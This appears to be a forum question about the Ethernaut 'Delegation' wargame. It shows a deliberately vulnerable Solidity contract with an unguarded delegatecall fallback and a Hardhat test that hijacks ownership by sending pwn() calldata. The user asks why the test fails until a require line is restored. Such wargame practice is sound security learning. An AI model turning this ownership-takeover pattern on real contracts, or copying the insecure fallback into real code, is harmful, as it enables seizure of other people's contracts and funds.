I have this problem solving Ethernaut challenge Delegation:
The following is the original contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate internal delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
// require(result == true);
if (result) {
this;
}
}
}
According to this walkthrough you can mutate original contract's storage by calling delegatecall.
I wrote my attack in hardhat. Here is the code:
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { ethers } from "hardhat";
import { Delegate, Delegation } from "../../typechain";
describe("DelegationAttack", function () {
let DelegationToken;
let DelegateToken;
let delegation: Delegation;
let delegate: Delegate;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
beforeEach(async function () {
DelegateToken = await ethers.getContractFactory("Delegate");
DelegationToken = await ethers.getContractFactory("Delegation");
[owner, attacker] = await ethers.getSigners();
delegate = await DelegateToken.connect(owner).deploy(owner.address);
delegation = await DelegationToken.connect(owner).deploy(delegate.address);
});
describe("attack", function () {
it("should transfer ownership", async function () {
const ABI = ["function pwn() public"];
const iface = new ethers.utils.Interface(ABI);
await attacker.sendTransaction({
from: attacker.address,
to: delegation.address,
data: iface.encodeFunctionData("pwn"),
});
const delegatedOwner = await delegation.owner();
expect(delegatedOwner).to.equals(attacker.address);
});
});
});
When I run the test, I get this error:
AssertionError: expected '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' to equal '0x70997970C51812dc3A010C7d01b50e0d17dc79C8'
Which means, owner
variable has not been changed.
But strangely, if I uncomment this line:
// require(result == true);
then I get the test passed.
What is the reason?
delegatecall()
while testing in localhost. Some expected changes don't occur.